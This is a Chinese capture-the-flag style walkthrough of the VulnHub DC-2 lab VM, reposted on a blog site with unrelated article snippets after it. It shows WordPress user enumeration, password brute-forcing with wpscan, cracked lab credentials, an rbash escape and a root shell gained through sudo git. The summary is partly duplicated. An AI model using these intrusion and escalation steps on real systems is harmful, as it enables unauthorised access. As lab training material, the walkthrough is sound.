vulnhub-dc2靶场

DC2

配置环境vmware17 + nat网络配置

下载地址:DC and Five86 Series Challenges - DC-1

(似乎从2024/1/18左右找不到这个资源了)

攻击机kali与其在同一网段下 ip:192.168.52.130

信息收集

arp-scan -l #内网探测,扫描目标ip

image-20240119134743828

发现目标ip192.168.52.130

使用nmap对目标进行扫描

nmap -T4 -sV -O -A -Pn -p- 192.168.52.130

image-20240119134857209

发现开放端口80,7744

重定向

先访问80的http服务

image-20240119135004267

这里域名跳转了,但是显示找不到此网站,挂上burpsuite,抓包查看情况

HTTP/1.1 301 Moved Permanently
Date: Thu, 18 Jan 2024 20:05:59 
Server: Apache/2.4.10 (Debian)
Location: http://dc-2/
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

工具数据包可知,网站回复301状态码,永久重定向

通过修改host文件,将ip地址和dc-2域名强行绑定,(host可以简单理解为对域名的解析处理,解析手动指定的ip地址,以便于绕过dns查询)

image-20240119135659751

去掉这个勾选只读

然后用vscode打开host文件,在最底层添加一个

192.168.52.130 dc-2

image-20240119135856497

此时直接打开网站

image-20240119140006811

点开右上角的Flag

image-20240119140058737

可以发现这是一个使用wordpress搭建的网站

工具探测

flag中推荐使用cewl工具(一种使用ruby写的爬虫工具,可以爬取网站中的敏感信息组成字典,kali中自动集成了)

cewl http://dc-2 -w passwd.txt

image-20240119141518395

image-20240119141546471

再使用dirb挖掘目录信息

dirb http://dc-2/

image-20240119141926357

发现一个url

http://dc-2/wp-admin/admin.php 

这个url是wordpress搭建的网站的登录页面

image-20240119142053812

关于wordpress搭建的站点,有一个非常好的工具,wpscan,可以利用其扫描功能对其测试

wpscan --url http://dc-2/ -e u      //枚举用户名字

image-20240119142616441

将这些人名写入文件中

echo "admin" >> usr.txt
echo "jerry" >> usr.txt
echo "tom" >> usr.txt

利用wpscan爆破账号密码

wpscan --url http://dc-2/ -U usr.txt -P passwd.txt

image-20240119143702773

jerry / adipiscing
tom / parturient

分别利用进行登录

登录后如果是空白,再重新输入一下urlhttp://dc-2/wp-admin/即可

image-20240119144036235

flag2的意思:在此wordpress中找不到有用的信息了,尝试其他方法

内网提权

之前nmap扫描时发现了一个7744端口的ssh服务

vi提权

基于此尝试ssh连接

ssh tom@192.168.52.130 -p 7744

这里只有tom的账号密码对了

image-20240119144345152

同时发现很多命令无法使用

image-20240119154905083

compgen -c       //查看可以使用的指令

image-20240119155752801

发现可以使用vi命令,此命令存在提权(本质上属于sudo提权)

先查看提示

vi flag3.txt

image-20240119155933240

先提权然后查看jerry账号

操作步骤

vi随便打开文件
输入:
再下面添加
:set shell=/bin/sh
:shell

image-20240119164803845

按回车,再次输入:

image-20240119164829571

image-20240119164842649

这时可以使用cd命令了,cd …找到上一层目录,进入Jerry文件夹下发现flag4,使用vi flag4.txt查看

image-20240119165113867

权限过低,想办法提权

rbash环境变量

先使用exit退出

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量

image-20240119170254942

发现以及可以使用被限制的命令了

find / -perm -u=s -type f 2>/dev/null //找到存在sudo权限的命令

image-20240119170423065

切换用户

su jerry 
git提权

查看sudo权限

sudo -l

image-20240119172000450

可以发现git命令存在sudo提权

基于此进行权限提升

方式:


sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

输入sudo git help config后会有一个很长的文本,在此基础上,按下: ,在输入!/bin/bash

然后按q退出,再输出sudo git -p help命令,同上输入!/bin/bash

image-20240119172321933

image-20240119172502115

image-20240119172527354

至此结束

总结

1、hosts文件指定ip对应域名

2、工具使用:cewl(收集网站字典)、dirb(目录探测)、wpscan(针对wordpress制作的扫描工具)

3、linux命令

compgen -c #查看当前可用命令
find / -perm -u=s -type f 2>/dev/null #查找存在sudo权限的命令
sudo -l #查看当前用户可使用的sudo权限

6)]

[外链图片转存中…(img-UnDKf5oc-1705657141846)]

至此结束

总结

1、hosts文件指定ip对应域名

2、工具使用:cewl(收集网站字典)、dirb(目录探测)、wpscan(针对wordpress制作的扫描工具)

3、linux命令

compgen -c #查看当前可用命令
find / -perm -u=s -type f 2>/dev/null #查找存在sudo权限的命令
sudo -l #查看当前用户可使用的sudo权限

4、权限提升:vi提权,rbash环境变量提权,git提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/638405.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【服务器】搭建一台属于自己的服务器

​🌈个人主页:Sarapines Programmer🔥 系列专栏:【服务器】搭建网站⏰诗赋清音:云生高巅梦远游, 星光点缀碧海愁。 山川深邃情难晤, 剑气凌云志自修。 目录 1. 购买服务器和域名 1.1 购买服务器 1.1.1 阿里云服务器 1.1.2 香草云服务器 1.2 购买域名 2. 安装宝塔…

Blender——将模型及其所有纹理与材质导入unity

前期准备 参考视频:7分钟教会你如何将Blender的模型材质导入unity_哔哩哔哩_bilibili 实验模型官网下载地址:Hoi An Ancient House Model free VR / AR / low-poly 3D model CSDN下载链接: 【免费】Blender三维模型-古代房屋模型&#xff…

【Linux】第三十三站:日志

文章目录 一、实现一个简单的日志1.简介2.可变参数3.错误等级4.时间5.打印每一条参数6.与前面的一些代码搭配使用 二、完整代码 一、实现一个简单的日志 1.简介 我们运行代码的时候,我们希望有各种各样的运行时候的一些信息。这也就是日志 它一半有日志时间&…

【GitHub项目推荐--老照片变清晰】【转载】

先来看一个效果图,这个开源项目能把模糊爆浆的老照片 1 s 内变成清晰、高清的有色照片。 而以上这些效果,无需专业 PS 技能,只用一个网页端的 Demo、点点鼠标上传图片就能搞定。 这个修复神器,由腾讯 PCG ARC 实验室研发&#xf…

结构体大揭秘:代码中的时尚之选(上)

目录 结构结构的声明结构成员的类型结构体变量的定义和初始化结构体成员的访问结构体传参 结构 结构是一些值的集合,这些值被称为成员变量。之前说过数组是相同类型元素的集合。结构的每个成员可以是不同类型的变量,当然也可以是相同类型的。 我们在生活…

【系统调用IO】open、close、read、write、lseek

目录 3 系统调用IO3.1 文件描述符3.1.1 FILE结构体3.2.2 文件描述符 3.3 open、close、read、write、lseek3.3.1 文件权限3.3.2 open3.3.3 close3.3.4 read3.3.5 write3.3.6 lseek3.3.7 代码示例 文件io和标准io的区别 橙色 3 系统调用IO 3.1 文件描述符 3.1.1 FILE结构体 …

多线程编程1

一、线程的引入 上节,我们介绍了进程的概念,以及操作系统内核是如何管理进程的(描述组织),PCB中的核心属性有哪些, 引入进程这个概念,最主要的目的,就是为了解决“并发编程”这样的…

JavaScript语法摘要

JavaScript语法摘要 JavaScript语法通过各种规则和组合,就能创建出丰富多彩的程序呢!它包括了怎么声明和使用变量、如何定义和赋值,还有怎么用运算符和表达式等等。另外,我还发现了一些有趣的概念,比如关键字、注释、…

Python学习从0到1 day7 Python判断语句

路远殊途,祝你得偿所愿 ——24.1.21 前言 进行逻辑判断,是生活中常见的行为,同样,在程序中,进行逻辑判断也是最为基础的功能 一、布尔类型和比较运算符 1.布尔类型 进行判断,有两个结果,True、…

springboot集成COS对象存储

1.申请腾讯云存储桶 新建密钥(后面配置要用到) 2.编写工具类 此处使用工具类进行基本属性配置,也可选择在yml中配置 package com.sfy.util;import com.qcloud.cos.COSClient; import com.qcloud.cos.ClientConfig; import com.qcloud.cos.a…

基于xgboost-LGBM-SVM的病人哮喘病识别检测 数据+代码

基于xgboost-LGBM-SVM的病人哮喘病识别检测-完整代码可直接运行_哔哩哔哩_bilibili 代码: from sklearn import preprocessing import random from sklearn.model_selection import train_test_split from sklearn.preprocessing import MinMaxScaler from sklearn import pr…

声明式注解对XXL-JOB的定时任务代码生效吗?

说明:源于博主的思考,本文验证一下声明式注解,即Transactional注解,对XXL-JOB的定时任务是否生效。 准备 首先,创建一个需要事务的场景。有两张表,一张部门表,一张用户表,用户隶属…

基于YOLOv8的目标识别、计数、电子围栏的项目开发过程

0 前言 用于生产环境中物体检测、识别、跟踪,人、车流量统计,越界安全识别 1 YOLOv8概述 YOLOv8 是Ultralytics的YOLO的最新版本。作为一种前沿、最先进(SOTA)的模型,YOLOv8在之前版本的成功基础上引入了新功能和改进,以提高性…

cupy,一个超级实用的 Python 库!

更多资料获取 📚 个人网站:ipengtao.com 大家好,今天为大家分享一个超级实用的 Python 库 - cupy。 Github地址:https://github.com/cupy/cupy 深度学习和科学计算需要处理大规模的数据和复杂的计算任务,而Python是一…

tag 标签

tag 标签 在使用 Git 版本控制的过程中,会产生大量的版本。如果我们想对某些重要版本进行记录,就可以给仓库历史中的某一个commit 打上标签,用于标识。 在本章中,我们将会学习如何列出已有的标签、如何创建和删除新的标签、以及…

20240116使用Firefly的AIO-3399J的预编译的Android10固件确认RT5640声卡信息

20240116使用Firefly的AIO-3399J的预编译的Android10固件确认RT5640声卡信息 2024/1/16 17:55 百度:RK3399 ALC5640 RK3399 RT5640 BING:RK3399 ALC5640 LINE-IN接麦克风不会有声音的。 耳机只有右边有声音,但是偏小,可以通过音量…

C++ memmove 学习

memmove&#xff0c;将num字节的值从源指向的位置复制到目标指向的内存块。 允许目标和源有重叠。 当目标区域与源区域没有重叠则和memcpy函数功能相同。 宽字符版本是wmemmove&#xff0c;安全版本加_s&#xff1b; #include "stdafx.h" #include<iostream&g…

如何为不同品牌的笔记本电脑设置充电限制,这里提供详细步骤

笔记本电脑的电池健康状况至关重要。延长电池寿命可以帮你省下不少钱。对于长时间充电的Windows 11笔记本电脑用户来说,将电池电量限制在80%是很重要的。 虽然操作系统没有提供设置自定义电池充电限制的内置方法,但仍有一些方法可以在Windows 11中配置电池设置,并将其限制在…

华南理工大学数字信号处理实验实验一(薛y老师版本)matlab源码

一、实验目的 1、加深对离散信号频谱分析的理解&#xff1b; 2、分析不同加窗长度对信号频谱的影响&#xff1b; 3、理解频率分辨率的概念&#xff0c;并分析其对频谱的 影响&#xff1b; 4、窗长和补零对DFT的影响 实验源码&#xff1a; 第一题&#xff1a; % 定义离散信…

【多线程的安全问题】synchronized 和 volatile——你必须知道的妙用!

&#x1f4c4;前言&#xff1a;本文的主要内容是讨论个人在多线程编程带来的安全问题的表现、原因以及对应的解决方法。 文章目录 一. 了解多线程安全问题二. 线程不安全的现象及原因&#x1f346;1. 修改共享的数据&#xff08;根本原因&#xff09;&#x1f345;2. 原子性&am…